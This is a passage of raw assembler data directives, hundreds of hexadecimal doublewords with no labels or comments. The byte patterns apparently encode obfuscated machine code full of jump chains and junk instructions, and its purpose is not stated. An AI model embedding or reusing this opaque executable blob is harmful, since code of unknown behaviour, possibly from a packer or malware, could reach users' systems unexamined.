		dd 18B0Fh, 5BF50000h, 94B85E56h, 0E97F3E19h, 14h, 0F87AEFC4h
		dd 109B9ABCh, 0D89E2DEDh, 0C741BCD5h, 0E76F3Eh,	0A94AB866h
		dd 168D0F56h, 0E9000000h, 11h, 24DC85E1h, 0B9092CF4h, 0F0771C18h
		dd 0D1930E5Eh, 0AABA5B94h, 8B286040h, 0F3BB66F2h, 0E9CE8B87h
		dd 11h,	33970127h, 8EC57046h, 1DC0A7BEh, 92EF8CCDh, 7E9AFh
		dd 43F00000h, 81BB870h,	3800F18h, 0F000000h, 8B66DBB7h
		dd 662CB4D7h, 0CE41C981h, 0DE8FCh, 8640000h, 171CB81Bh
		dd 52E3D057h, 0E918DED4h, 12h, 7F78059Ch, 9CCC93BBh, 2ADCE35Ah
		dd 11AE1A96h, 60588116h, 5FC38B57h, 11E9h, 6FC62B00h, 25B1C1BFh
		dd 3B9050F7h, 81ACEB7Dh, 0BE616DF8h, 3915A629h,	0BE8F9h
		dd 52D40000h, 9936B4CFh, 26E23D2Bh, 1890FB6h, 0F5000000h
		dd 66F18B5Eh, 0F651CB8h, 489h, 0F7BF6600h, 8E97Dh, 71110000h
		dd 0F10CA10Ch, 0E8FCC293h, 0Bh,	0EFB521A9h, 8D15A525h
		dd 0F8DDE07Bh, 0EE95Ah,	710B0000h, 0C26950E6h, 324E9626h
		dd 2A29D05Dh, 8B60C28Bh, 61F88BDEh, 6840Fh, 0C9810000h
		dd 566CAC00h, 0DE9F5h, 0A4E90000h, 63188692h, 0DC4C2564h
		dd 0E9F8A8FDh, 10h, 67209FE3h, 0E45AFFFAh, 0BF28ACh, 0DEA6F8Bh
		dd 0E9C28B66h, 7, 0B897909Ch, 0E9556C58h, 9, 6C724615h
		dd 56365B37h, 312B837h,	8B66202Ah, 0F38B66DFh, 890FC18Bh
		dd 4, 5A616051h, 9E9h, 0E3AC4D00h, 1327BE0Eh, 5260BA6Ah
		dd 13E8h, 6089D300h, 5E24DE48h,	1B85661Ah, 0FBA1D507h
		dd 0DD25170Ah, 6BBF5E5Fh, 6114AF63h, 7E860h, 0ABDC0000h
		dd 0CFA0D524h, 544FB812h, 665E01BBh, 5E1CF81h, 0E9FAB461h
		dd 0Bh,	86977E97h, 8BB7C58Bh, 60DF6604h, 8BCAC280h, 0E85361D3h
		dd 0Ah,	0D1D9259Bh, 0EABFF2E2h,	0C6B856FDh, 582F646Fh
		dd 8166575Eh, 5898D7EBh, 8A0FF38Bh, 1Bh, 0FE8h,	1CD14B00h
		dd 8BEC9CFEh, 6650DD1Bh, 2D8FD053h, 850Fh, 515B0000h, 2860Fh
		dd 0DE8B0000h, 0E0EA815Bh, 80377792h, 8B6687D9h, 0D68B66D0h
		dd 0A40207B8h, 0E935B625h, 9, 7A1580C0h, 7137D2D6h, 840F7Ah
		dd 0E9000000h, 0Eh, 170D90D2h, 0AA98E5FEh, 0EDA6DDA9h
		dd 66518D73h, 805BFA8Bh, 0DE975D8h, 80000000h, 7EC5204Dh
		dd 805396B5h, 0ACF3A82Eh, 0A4C68166h, 0D946BE72h, 7E86FDBh
		dd 0CE000000h, 0EBA5CC5h, 870FF3F7h, 6,	870Fh, 665F0000h
		dd 0E981F88Bh, 0FE4418h, 8DE08166h, 0E8F0B1ABh,	7, 0BC2AA296h
		dd 606640ACh, 0CE9h, 2D5FE00h, 55478CA5h, 7E2FAE50h, 615957FFh
		dd 0E9F08B59h, 6, 0D2976ACEh, 0BE668D8Eh, 830FB11Eh, 17h
		dd 12E9h, 908B200h, 0C0930F4Dh,	0BE2F6E49h, 0EBCF6F56h
		dd 66D02B16h, 534A3CBBh, 59CF8B66h, 901BDFBBh, 3820F1Ah
		dd 80000000h, 0B70F25C5h, 8BFC60F7h, 10E961F0h,	0E6000000h
		dd 1F55A4DAh, 643A9855h, 0F30FADD2h, 0F9E08A65h, 0D859D981h
		dd 0BA66133Dh, 96BA1018h, 0E80108E0h, 0Bh, 9622F376h, 0BA55D1E2h
		dd 66213FEDh, 5A19E281h, 0C181665Eh, 8D0FC4F7h,	6, 3BB96660h
		dd 0F6061D6h, 0CE80F2BFh, 0D981610Ah, 4B40C3F5h, 0EEB7EDB6h
		dd 0DE9h, 0E402BA00h, 3729F714h, 0C16E83EEh, 0E95088D2h
		dd 0Fh,	6B20F3DCh, 916E13h, 0BB745ADh, 5BF7B037h, 7E8h
		dd 0AD787300h, 98A0E8EDh, 68A0Fh, 870F0000h, 0
		dd 0BA58525Ah, 522760F4h, 0E9DBBF0Fh, 0Fh, 0ACE45AFFh
		dd 8B00BF28h, 590DEA6Fh, 81BF0BBFh, 0C95099CFh,	0E1816667h
		dd 0E8529365h, 10h, 4B2A4BA5h, 0C56CA861h, 0F0C11C42h
		dd 0B37E9BB8h, 59F9BF0Fh, 94C8805Ah, 805AF680h,	32B327F6h
		dd 11E9h, 0DE62DA00h, 0ACFA62DEh, 22F2B766h, 0A5ED581Fh
		dd 6651FF6Dh, 493EDE81h, 8E959h, 0DAF00000h, 0B9BFD70Eh
		dd 0C18BAE46h, 66F6B70Fh, 0A52BC381h, 0CE9h, 0A46EDC00h
		dd 8CA35999h, 8F4CBEE5h, 66FFB169h, 679D081h, 11810Fh
		dd 8E80000h, 26000000h,	2CBF24C5h, 0F60862Ah, 0FC58CEB7h
		dd 14E9h, 0EAFDD600h, 389F2B33h, 0E5C394DEh, 0B1218D0Bh
		dd 0BDF06C85h, 37D681FBh, 0F81BFA43h, 0BA666060h, 0BF0F72AEh
		dd 0E96061FBh, 0Bh, 0C3A25966h,	0BECC551Bh, 660C42D5h
		dd 61BE19BEh, 78C0F61h,	0F000000h, 18Dh, 0B966F900h, 9E884D3h
		dd 3000000h, 706143EFh,	369C88D6h, 0B8F18A5Eh, 2B65B89Bh
		dd 0A5D3BF66h, 18860Fh,	13E90000h, 59000000h, 26AAB3Ah
		dd 0CBFA9BB4h, 305E1AE6h, 6F3A2522h, 0F88BCAA3h, 0F9EA8053h
		dd 14E8F559h, 11000000h, 0FB36F675h, 28350AE1h,	7A13F7AEh
		dd 0B8483A24h, 8BAC5083h, 840F5EC1h, 14h, 20BA6660h, 9E9B4h
		dd 74640000h, 54E783DDh, 616CCC83h, 927E13BEh, 11E91Fh
		dd 0EA870000h, 0D2088555h, 8F614849h, 6126A734h, 8155DBFDh
		dd 0C674FCF2h, 8166604Ch, 613C4FEEh, 0AE9h, 4E766B00h
		dd 60199FD2h, 0E91142F8h, 0Bh, 0A2160054h, 0B7498BAAh
		dd 66587F5Fh, 0E99D86BEh, 0Fh, 0BA6C47ADh, 64D33BBEh, 0A82460D5h
		dd 0F43AB19h, 0E58AF0BFh, 3830Fh, 0B70F0000h, 83F1BFDBh
		dd 12E94F44h, 0BC000000h, 0AD4BB669h, 2B79E2AEh, 1E3DEF5Dh
		dd 7FA9ECDAh, 0FDDEB9A2h, 0BB661358h, 0DE8BAC0Ah, 3F62B966h
		dd 10E8h, 28537E00h, 3DFA5D2Ch,	140AE6FBh, 25F0048Dh, 6800F00h
		dd 0F000000h, 89h, 0AE95F00h, 94000000h, 56BDED60h, 85BD42ACh
		dd 15840FE0h, 0E8000000h, 0Bh, 0B07A7756h, 0F9C0F70h, 66AF5C08h
		dd 5E35BAB9h, 8F0Fh, 0D78B0000h, 77D68166h, 0E95F530Bh
		dd 13h,	5B2BCFAFh, 8202E09Ah, 0C0589C2Ah, 72797BA4h, 0F91DAF5h
		dd 8B66F7BFh, 5D3BBF2h,	7E861A6h, 0F2000000h, 0BAC803AFh
		dd 0BB0DE2h, 5F368622h,	2860Fh,	0F78B0000h, 6623D780h
		dd 665311BFh, 0E9C282BAh, 10h, 1348FBEFh, 1B753455h, 10B64C17h
		dd 785B31BEh, 8E0FDF8Bh, 0
		dd 8B66A7B6h, 58E0FD3h,	0BE000000h, 64D99A5Fh, 0CFF08166h
		dd 28EE811Dh, 6663CC45h, 5F32E781h, 0DE9h, 0E816A00h, 2A6B89CCh
		dd 0A4AF5D6Bh, 0C6B4F248h, 2810Fh, 5B500000h, 8BF08B60h
		dd 66F561F3h, 1F06D181h, 0EAF08166h, 7E907h, 8A250000h
		dd 4C296AA0h, 0CE8E0h, 563D0000h, 1622732Ch, 4E53849Ch
		dd 840F7385h, 2, 8B5B5853h, 0B86656CFh,	0F5AE2E7h, 1780h
		dd 0BE800h, 0EB130000h,	0C65A11EAh, 0F95F61B8h,	830FBFh
		dd 5B000000h, 2E840Fh, 11E80000h, 9C000000h, 0D13D28CAh
		dd 9728549Eh, 0A9C94280h, 51C64572h, 11E8h, 0C4271900h
		dd 41A37C97h, 22778E1Ch, 0B5E42932h, 5B589534h,	0BA665E53h
		dd 66604D99h, 0AA55D781h, 0CBB70F52h, 0F516158h, 5059D9B7h
		dd 0EC88159h, 0B035AB1Bh, 8E8AFh, 90890000h, 27FAFF5Ah
		dd 12E8712Fh, 45000000h, 58FA36E7h, 804C49BEh, 4A45EE21h
		dd 10E83DA9h, 58616070h, 0C38B665Bh, 0C471BE66h, 0C32A60BFh
		dd 38D0F74h, 80000000h,	0C08105F5h, 391D273h, 8E860h, 0F2330000h
		dd 6EC67886h, 59F9066Eh, 0C880F61h, 0F000000h, 682h, 840F00h
		dd 0B8000000h, 6A615CAh, 4840F60h, 66000000h, 66A18DBAh
		dd 61FD3FBAh, 0AAC7F6B8h, 84CFB92Ah, 0B3B12760h, 6E9h
		dd 89EDD00h, 66534D85h,	0F280D88Bh, 13E900h, 0CC40000h
		dd 9F2E818Ah, 81F10A85h, 93CF64Bh, 0E49E6129h, 0E28166A0h
		dd 800F9EBEh, 10h, 0BE9h, 69AD5C00h, 0AEF28B45h, 299EF79h
		dd 7AD1C281h, 66513AE1h, 5EE288BBh, 31C18166h, 78B0F28h
		dd 60000000h, 0E7E78166h, 81666116h, 80CB6DE9h,	0AE8C8D4h
		dd 0B5000000h, 6674571Bh, 142B4A4Fh, 6E90Ch, 1BCA0000h
		dd 0B498EF72h, 0DE8B665Fh, 8166F98Ah, 801915C2h, 0DD8A73C0h
		dd 0E8D9BF0Fh, 11h, 22A387FBh, 0B8F103E6h, 0CFC593E2h
		dd 8D6F4461h, 12E9BDh, 0BAD80000h, 51A34C92h, 0F7CAB5DAh
		dd 0FD7E3D0Fh, 64333D02h, 0DE958h, 0D6DB0000h, 0AFAF2E11h
		dd 923AB6E6h, 0E971EDCCh, 6, 96F2A397h,	8B66A3B2h, 13E8D9h
		dd 63990000h, 0C43B49B7h, 985EF2DBh, 0C06D0CFDh, 96D125A3h
		dd 0A3BA6697h, 8E9582Bh, 0A3000000h, 0B14738AEh, 669767F3h
		dd 0CE07D981h, 0B8E881FCh, 817670F1h, 11E6D6E9h, 91F28134h
		dd 0F1D7558h, 385h, 0D98B6600h,	205AC981h, 81534853h, 0EC1CA9EBh
		dd 0EA8A5B4Eh, 0F8B0F53h, 0E9000000h, 0Ah, 97E517CAh, 2DFAEDB7h
		dd 0B85983B5h, 6BEBA64Bh, 5BFE8B57h, 0EE9h, 0FAD10100h
		dd 680B3A39h, 0F6DB58Fh, 8A158CB3h, 0C98166C8h,	810FE383h
		dd 3, 0B6C18B66h, 0DE86079h, 0BC000000h, 90E9EC1Ah, 44A7F2FAh
		dd 0F0E5A6E5h, 66596160h, 0BE86C981h, 8BF98B61h, 1891B8F3h
		dd 850F3936h, 9, 3800Fh, 0B70F0000h, 2EBF66F0h,	25C881C6h
		dd 0E91200DAh, 5, 7BB00BE2h, 8E8E5h, 547A0000h,	8F3E6714h
		dd 58F59B2Bh, 0C800Fh, 8C0F0000h, 6, 8B0Fh, 66F90000h
		dd 0A051E181h, 0C28B5660h, 6195B05Fh, 4830Fh, 0BF660000h
		dd 0DA8A7A26h, 0FE9h, 0C6F1D00h, 0D5E003C7h, 61D75094h
		dd 7F2DB4FCh, 12E85B53h, 62000000h, 99F22C67h, 0D505F32Fh
		dd 642C61A7h, 0A8D5DCh,	5ED08B1Ah, 9DB8166h, 0D0FFB811h
		dd 0DA8B74D7h, 48A4E181h, 0D1815803h, 6D735663h, 0CE9h
		dd 0D45A8F00h, 0CE597A86h, 35A932A2h, 12E815h, 9B10000h
		dd 75CE074h, 0FB0A879Ch, 555F6D05h, 2A3DA358h, 13E8h, 9A2E8200h
		dd 44357E45h, 0A24008F3h, 7DB86224h, 0F86F09DAh, 23F2CF81h
		dd 5B5F0509h, 0F1D88166h, 12880FAAh, 0E9000000h, 0Dh, 6E6199DCh
		dd 37349FD7h, 2A2AC893h, 0F6B70F74h, 3820Fh, 0CC800000h
		dd 53D08BDDh, 8B0Fh, 66580000h,	6769E781h, 6672D080h, 0A5B9CB8Bh
		dd 0E92B35DEh, 0Bh, 0BE99C3E8h,	0E0C22B18h, 0E86F9EDAh
		dd 13h,	6C03F3ADh, 46BDDD56h, 5F885F6Ah, 5CF6ABC6h, 6639BBDDh
		dd 0A621DF81h, 12E95Ah,	0BAC70000h, 8D62A347h, 4420C612h
		dd 43B89FCh, 0A3A83E16h, 129A6CBBh, 2830F03h, 8B000000h
		dd 8FB866C7h, 0CE980h, 1F5F0000h, 574F29FFh, 5112A638h
		dd 66FC0C3Bh, 8BF8F08Bh, 0D890FFAh, 0E9000000h,	8, 0CB00FF00h
		dd 2D4754h, 198F0FF8h, 0E8000000h, 0Dh,	5BF7E65Eh, 546E8CF6h
		dd 1CEEC6F8h, 810F8Dh, 5E000000h, 75C9D881h, 6E9367Fh
		dd 0FA000000h, 417B8CF9h, 5E984h, 0AB170000h, 6684FCD1h
		dd 3C67CA81h, 14E9h, 6F446100h,	3036BD8Dh, 0AB13564Ah
		dd 5A39DACDh, 0B0FFF05Eh, 13E9CFh, 0C0B0000h, 2F6391A3h
		dd 634CD21Dh, 876CA238h, 0D2C80BDAh, 0F2816609h, 0F08A38A0h
		dd 0E8FBBF0Fh, 13h, 0A71673Dh, 0A7765225h, 0BF873788h
		dd 1105A769h, 5ED144A3h, 0AE8h,	2B50200h, 0A58A98C5h, 81E5C804h
		dd 5B8A74C0h, 58535A2Dh, 16820F60h, 0E9000000h,	11h, 2C393439h
		dd 83BDDDCh, 1DF81138h,	485BA135h, 0B70F5173h, 0E9615AF0h
		dd 0Dh,	6F5B7E73h, 0EC9613Ah, 0E1BCF584h, 4FF8B985h, 92B53A43h
		dd 9810Fh, 8B0F0000h, 3, 60D1B70Fh, 8166C88Ah, 61341AE3h
		dd 6E8D48Ah, 63000000h,	17D3BC7Fh, 5B71B174h, 0E8816656h
		dd 0E9598811h, 0Fh, 0FC3D5552h,	3B5ADF0h, 1909CC8Eh, 80043E5Ah
		dd 56BFFBCFh, 806A5BB8h, 0CA8A94D8h, 0FC7BF0Fh,	98Fh, 3880F00h
		dd 0F000000h, 44BAF8B7h, 0E962F3A2h, 0Dh, 31AF9024h, 0C073AA7Ah
		dd 4FF25269h, 7BBE6626h, 840FF842h, 0Ch, 68E0Fh, 820F0000h
		dd 0
		dd 0EE9h, 6894AD00h, 0FF140C4Eh, 56C999F4h, 8B297950h
		dd 880FC3h, 50000000h, 0B50DE281h, 0F5F69C2h, 48Eh, 71BA6600h
		dd 0FF18BBDh, 0E981C0B7h, 0A3162E6h, 601CA81h, 81666F32h
		dd 0E89059C1h, 11h, 94AE27D3h, 94B2E113h, 0F5DC8407h, 159A5EA4h
		dd 0E881668Ch, 0E959646Ch, 12h,	1D68D90Ah, 0A1401DA5h
		dd 7C6F0DF8h, 92068ADBh, 11E8D020h, 0B000000h, 0CFAE309Ah
		dd 9AA37FB0h, 40D14718h, 0AE3FF4D5h, 80FFB866h,	11E958h
		dd 74BF0000h, 5716BF8Eh, 5E7D54C9h, 7C7AFB31h, 0E9B1ADB4h
		dd 10h,	0E19131D4h, 87DB17C0h, 18016EC3h, 0E1D41B14h, 0BACE8157h
		dd 5F4EC35Ch, 58A0Fh, 1BBA0000h, 6011F15Bh, 0FE8h, 7C913200h
		dd 0E87F2F95h, 66982142h, 7905FFEBh, 0E95BF78Bh, 8, 805EEA56h
		dd 0E5F46B03h, 9513BB61h, 880F103Ch, 5,	0C31299B9h, 0F1FB14Ah
		dd 28Fh, 0B1FE8B00h, 8B6657F7h,	0F08158D9h, 32815724h
		dd 3840FF5h, 80000000h,	0E680ECDBh, 86BA662Fh, 0CE896h
		dd 0CEF00000h, 39130CDBh, 3E80C381h, 5E92152h, 0DE000000h
		dd 9FDAF4Ch, 108B0F5Fh,	0E9000000h, 0Bh, 0C8526FC3h, 2F45D513h
		dd 8B79FFEFh, 0CFBF0FF7h, 6052CE8Bh, 91A3A4B8h,	10E95Eh
		dd 7AD20000h, 0ADF433CDh, 32ABA2F1h, 1753FB38h,	5E61F1F4h
		dd 0CCCCBB66h, 5870Fh, 81660000h, 0FC08ED7h, 0B966D0B7h
		dd 0E680843Bh, 0EE9AFh,	65BB0000h, 1F9ECAC2h, 8A410924h
		dd 6CE185A4h, 8E9h, 72D200h, 8819F784h,	0B70F5149h, 0FDB259F8h
		dd 0E96ADA80h, 0Dh, 0C2F6F9B4h,	1114BEFDh, 4DAC65Ch, 9CBB66D7h
		dd 22B356B6h, 0A3D38159h, 60376BC4h, 7A11BE66h,	0F2C78166h
		dd 0BF0F6130h, 0F68ABAF6h, 8E92053h, 12000000h,	0F08CA09Ch
		dd 66468E9Dh, 25CCD881h, 68B0Fh, 0E9810000h, 1F065F14h
		dd 0F188BE66h, 5800Fh, 0B9B90000h, 0B83C2046h, 6684D05Fh
		dd 5FF95656h, 0BE958h, 0D3FC0000h, 41F79C57h, 0FAB024E8h
		dd 0E7816612h, 840F3A18h, 16h, 11E9h, 372C1A00h, 711B1F9Bh
		dd 0D93A7796h, 63EF2378h, 0E681042Dh, 8986CCEh,	81CB8B66h
		dd 0D3014CE7h, 0F8BF0F4Ah, 8860Fh, 0F560000h, 8Ch, 81665900h
		dd 0F5FB91F1h, 0C6E68166h, 18A0F23h, 0F5000000h, 8E8h
		dd 34373F00h, 0A8DEAEFh, 38B0F49h, 0F000000h, 6659DBB7h
		dd 0E281D18Bh, 0C4A4EE9h, 0AE9h, 0E4A9800h, 8F07E5C7h
		dd 813D57FAh, 357F9AE3h, 3CD28116h, 6011FEFDh, 0F8D9B70Fh
		dd 2860F61h, 0B0000000h, 8FB866F9h, 0D781F532h,	1053C3A1h
		dd 0D2B0CF8Bh, 0F6F08166h, 1717BBFEh, 0E9FC05C1h, 10h
		dd 77D31C14h, 3F426651h, 2E0F126Ch, 48B9D9BDh, 5E8h, 204F1C00h
		dd 0CE99477h, 0C4000000h, 76E12F17h, 72C5DC34h,	59E8DC69h
		dd 8A0F60h, 0B5000000h,	60516159h, 575CCD80h, 535A615Fh
		dd 59FC8A52h, 0C28B665Ah, 8E8h,	4A26000h, 0B576F0DFh, 12E91Eh
		dd 529A0000h, 0A8921E05h, 6072F267h, 12B7869Bh,	0A5BB19D8h
		dd 68F08159h, 0F44E869h, 389h, 0DF8B6600h, 14E8C88Bh, 39000000h
		dd 3660F7B5h, 664B11BDh, 0F983054h, 86792734h, 66F1C575h
		dd 4FBDD081h, 0B70F515Eh, 0F525FFAh, 8Bh, 0FC605800h, 3B9FBB61h
		dd 0B9662FD0h, 9E9E6E3h, 0D3000000h, 98FA768Fh,	0E1140ED9h
		dd 75A5B8BEh, 21B8661Eh, 1F081F0h, 666C72C2h, 8BA844BBh
		dd 0C8B70FF3h, 0BF0FD68Bh, 0BA5A57F9h, 2DC9B620h, 667FB4FCh
		dd 0ACE6F781h, 0BF23BA66h, 7E9h, 9B928300h, 0B643CEE8h
		dd 0E590C881h, 0BB66464Fh, 870FCE1Ah, 6, 8F0Fh,	8B660000h
		dd 0F7B70FC6h, 80D3BF0Fh, 0E86067C1h, 12h, 9D210149h, 56892135h
		dd 1AB71E10h, 59850C15h, 5F56B307h, 198C0F5Ah, 0E9000000h
		dd 14h,	1BBB4702h, 904F8C2Dh, 0F69FC960h, 0B39CF318h, 0C082F08Bh
		dd 25B96661h, 0ADC281D6h, 660F664Eh, 962AE881h,	0E6BED5BEh
		dd 19C6816Ch, 0E8434485h, 5, 77219BD1h,	0DF81665Fh, 0F5AB06Eh
		dd 685h, 1DC28100h, 0E843B2C4h,	0Fh, 86BA24FAh,	83258570h
		dd 722F926Fh, 0FAB889Bh, 0F5EC6B7h, 0EE80F1BFh,	8F0F60CCh
		dd 16h,	11E9h, 4B475200h, 0EEE72D8Ch, 14A14473h, 0E76C0272h
		dd 0D381D577h, 3E216ADh, 0D7EB8061h, 0A68AC3BEh, 0AE95246h
		dd 28000000h, 0C5C9F65Eh, 3F75201Dh, 0F1815A79h, 654A9F67h
		dd 0FC18B66h, 88h, 0F6C28100h, 0BA4E211Fh, 4B8689E3h, 0BA6160FCh
		dd 38AE1442h, 0B3F9F2B4h, 0AFBB66A5h, 0FE90Fh, 0DE3A0000h
		dd 4B0A77E6h, 80041D81h, 18468BA9h, 66F38B23h, 51CBDDBBh
		dd 0FE6ABA66h, 66D88B59h, 73F9D081h, 0FCF8B66h,	1780h
		dd 10E95600h, 0FC000000h, 352C0B6h, 78B14A3Dh, 52189F4Bh
		dd 5F91C00Bh, 58B4F8FCh, 58B0Fh, 3BB0000h, 0B9223A99h
		dd 69152C25h, 0F52BEB1h, 68Ah, 9DC08100h, 5B42A4CCh, 14E9h
		dd 87AE3800h, 7C95337Ch, 1363D5B9h, 0EA76FF86h,	29768C7Eh
		dd 8B666040h, 0DF8161CFh, 2293DAh, 1810Fh, 56F50000h, 11E8h
		dd 2D29AD00h, 1DD64FA2h, 1DFA3D73h, 0DBBF29CFh,	0BE66BA6Fh
		dd 5E5B3019h, 13E952FCh, 8B000000h, 176140DDh, 86A14642h
		dd 558153EDh, 76028C6Ah, 8B594E97h, 61FC60D9h, 66F98B66h
		dd 0F60D68Bh, 1587h, 10E900h, 0B9C0000h, 510C011Ah, 3FF6CCADh
		dd 0AC0D8FB0h, 6661F1A3h, 66767FBEh, 0F6B8D88Bh, 816627CBh
		dd 0C0CB75EBh, 0BDEB8117h, 0F8415238h, 41BA66F9h, 0DFB70FF9h
		dd 8CE8166h, 80DF8B18h,	8E8C6F7h, 0C000000h, 4656F7FBh
		dd 5AE4C87Dh, 0F51C480h, 68Ch, 88F08100h, 56104C71h, 58D3BF0Fh
		dd 8850Fh, 870F0000h, 2, 0BB66CF8Bh, 0F4807DCFh, 0D9BA6674h
		dd 60CA8A7Dh, 13E9h, 95761000h,	0F5216921h, 97EB5E57h
		dd 0F0D7E96Dh, 716508FEh, 0ABC88166h, 0BA66619Ch, 0BE80276h
		dd 0D9000000h, 0DA6EBA3Ch, 77B5B91Ch, 0D98BFA13h, 13E858h
		dd 0D8920000h, 51EE7599h, 0F2645A7Fh, 0CEEDE3E1h, 947854EEh
		dd 0EFDB8175h, 5E57936Eh, 0E68AD98Bh, 469895BEh, 0D1C88041h
		dd 13860Fh, 0E9570000h,	0Ch, 1BFBC055h,	6275E56Dh, 7BF6F05Fh
		dd 0CF816659h, 10E863D5h, 49000000h, 59367427h,	95A8252h
		dd 0D91F29EFh, 59ADFD2Bh, 8BF08B66h, 9E9F9h, 25650000h
		dd 5175CA23h, 0FCBAC554h, 11E9h, 0F70DF000h, 34D4C028h
		dd 98405E2Ah, 92A0E23Fh, 0D580180Ah, 0CBB70FF2h, 0E3B98DB1h
		dd 0E91DEEDAh, 0Bh, 0DFBD2C88h,	79E85CB3h, 609782D1h, 12E9h
		dd 28254800h, 7E5FF0FEh, 0FF01BFAFh, 3141FE5Bh,	0F89A874h
		dd 0F861CFBFh, 0E9FABF0Fh, 8, 6F67BB73h, 0D3301596h, 118E0Fh
		dd 6E80000h, 28000000h,	0A580B0EAh, 0F7816682h,	0BB5A31E3h
		dd 781E3466h, 80FAB70Fh, 890F95D9h, 0Ah, 5E9h, 7E72F800h
		dd 0B8664244h, 96BB5021h, 0BE180AACh, 1A58EBC2h, 32C68166h
		dd 5E919h, 5AD0000h, 0FA92F2Fh,	81h, 0BBFBB600h, 0DC79729h
		dd 0FB5DF80h, 1C80h, 14E800h, 76CD0000h, 0E6B22BA8h, 0A5CF4993h
		dd 0E5818377h, 0AF7AA451h, 0B5B408FBh, 3840F5Ah
		dd 0F000000h, 8BBFDBBFh, 8B615BA5h, 92E880D1h, 0D1FBA66h
		dd 0F08B66F9h, 66CE8B66h, 0B70FF38Bh, 7E951F7h,	13000000h
		dd 0E7A1D07h, 0F5A0AB7h, 8Ah, 0C18B5300h, 0CFEF815Ah, 816DBD09h
		dd 37149CD8h, 0E948B24Dh, 10h, 84D7DDE0h, 50EA48ACh, 1452232Dh
		dd 0B0A3795h, 1810Fh, 60F90000h, 12E9h,	14B46500h, 0B1220407h
		dd 9DB7C7C0h, 1314507Bh, 0E9F06061h, 9,	0B310A1E8h, 1276D73Fh
		dd 81666141h, 0FB55ED2h, 0F860D9B7h, 9ABE61FCh,	6646F44Dh
		dd 8A069EBFh, 0DBB70FC5h, 57F9B70Fh, 0C981665Ah, 0B70FA018h
		dd 0FE9FBh, 66C00000h, 5F5BFC3h, 0EAF651A7h, 7DE742FEh
		dd 0EE8FFh, 45D00000h, 0F842497Ch, 2FAC39B4h, 0B2FFE26Ch
		dd 12E9h, 1FCB3900h, 1C39444Bh,	2E6D9AC6h, 590E0473h, 5FE799BAh
		dd 0D549C181h, 0C1812504h, 5B27668h, 0DE81DA8Ah, 5E6C1F7Fh
		dd 80F9B70Fh, 0F60B7E4h, 182h, 6061F800h, 0E967B060h, 12h
		dd 9E946B63h, 0A1999C21h, 0C20178D7h, 36A995CEh, 61613A44h
		dd 0C881FB8Bh, 3B508F2Fh, 9E9h,	3EAD5B00h, 168D3EF5h, 3CBEB015h
		dd 0F139AD5h, 0C88h, 7E900h, 0F6630000h, 0BC66E304h, 0F2BF0F48h
		dd 0DE9h, 0EEACA200h, 8C46B76Ah, 7F7BB25Eh, 0CF8B7D44h
		dd 0E2C381BAh, 0EB816678h, 0DE94E65h, 0BA000000h, 0E171D12h
		dd 0B8A28C0Ah, 9553A13Dh, 34F28166h, 9810FEBh, 0F000000h
		dd 38Bh, 0FEBF0F00h, 0BE8h, 91507E00h, 6B980CF2h, 439FBC6Bh
		dd 0EE8h, 45DE4B00h, 8F65667Ah,	1DF46368h, 0F85DD9D9h
		dd 810F595Bh, 6, 6BAFF781h, 0BB664E6Dh,	80FC63D3h, 0BE6685E5h
		dd 0F08AC2B9h, 0CD7945BAh, 59F95308h, 54C307BBh, 0EE81660Ah
		dd 805663AEh, 565BF8C0h, 0DFD4B966h, 8B66F85Bh,	12E8C6h
		dd 91720000h, 23E1B23Ch, 50801526h, 0DA82D2E3h,	69F3D338h
		dd 5BDE8B66h, 8E857h, 0CBA60000h, 0A0F0D982h, 6160AB90h
		dd 81665959h, 0F4D80C1h, 0BA66F1BFh, 850FDFDDh,	0Bh, 58C0Fh
		dd 81660000h, 0F8DDAE9h, 580h, 0DE816600h, 11E9E79Eh, 23000000h
		dd 40DC4163h, 0B2DDDD36h, 82AB5278h, 3BF1C4F9h,	6821B866h
		dd 28F0Fh, 0F88B0000h, 0DEBF6657h, 8B0F5A26h, 3, 66FB8B66h
		dd 2D26D781h, 0E9F9B6FCh, 0Ah, 65983655h, 4B3F7781h, 0B70F24A4h
		dd 0AE8C8h, 4FAB0000h, 0C05436B9h, 23D22A40h, 13E85AF5h
		dd 3D000000h, 0AC35D657h, 2DC7862Bh, 3C307880h,	358CD323h
		dd 0B1608B1Ah, 0F5E6162h, 65BED3BFh, 8B71DB2Eh,	816660F3h
		dd 0E90B9DF3h, 13h, 838B1488h, 34FCE1F5h, 22220712h, 0D9B773AFh
		dd 6109EA93h, 0CE860h, 0D0570000h, 0DED452E3h, 947F4B18h
		dd 6160B1F2h, 0E4BB665Ah, 0B70F61E0h, 0DEBF0FF8h, 14BF66F5h
		dd 8CF1802Eh, 5035BE66h, 0F5D1BF0Fh, 58F0Fh, 81660000h
		dd 0B3CC79CEh, 95D78045h, 1F3C56BFh, 5E8F549h, 60000000h
		dd 4A72CCE9h, 59616056h, 0FB8B665Bh, 0D6BF0F56h, 0A9BE665Eh
		dd 3870F94h, 0F000000h,	8E9C1B7h, 73000000h, 91435F2Bh
		dd 8057BB83h, 0AE985D2h, 0C6000000h, 0C4E7F331h, 65A665D7h
		dd 60C18ACFh, 0F405D781h, 0B9661E15h, 666127A2h, 293DE781h
		dd 0AE9h, 9B6E700h, 0DEB772D3h,	0F920399h, 0CA80D2BFh
		dd 0F38BF8DDh, 0B8BBDE8Bh, 0E82E450Eh, 0Ah, 300D4BD6h
		dd 25072BFBh, 5A528B8Dh, 0E8BEBF5Bh, 566048EBh,	8E8h, 0D21D2F00h
		dd 0A238634Ch, 0E9585E6Ch, 10h,	0FD267BDBh, 0B962973Ah
		dd 6A0238C3h, 5A3F0073h, 0F5D88B61h, 14880Fh, 0FE90000h
		dd 72000000h, 766FC7A8h, 476DBD9Ah, 0FF811DACh,	0E380AFDBh
		dd 0FD38B15h, 14E8F2B7h, 3D000000h, 0F61C49EEh,	99AF88CFh
		dd 0F4B7A842h, 0F1E34551h, 0B26A1698h, 0FA8B58E3h, 5880Fh
		dd 64B80000h, 0F5558FBh, 384h, 0DF8B6600h, 1B3BCAB8h, 6E96054h
		dd 0B3000000h, 0CA3FF01Eh, 611AB6C9h, 0D3B70F60h, 0F37CBE66h
		dd 0D68B6661h, 47D18166h, 7E96011h, 34000000h, 519F9A88h
		dd 7E9F3DEh, 0F4000000h, 46289DD2h, 0E8613F6Fh,	13h, 3A1929D1h
		dd 0F7E94D6Bh, 9DC6F964h, 3A88D474h, 0B95D5B74h, 4363AF72h
		dd 820F605Eh, 2, 61F95B56h, 0BE97CB2h, 0ED000000h, 3A869433h
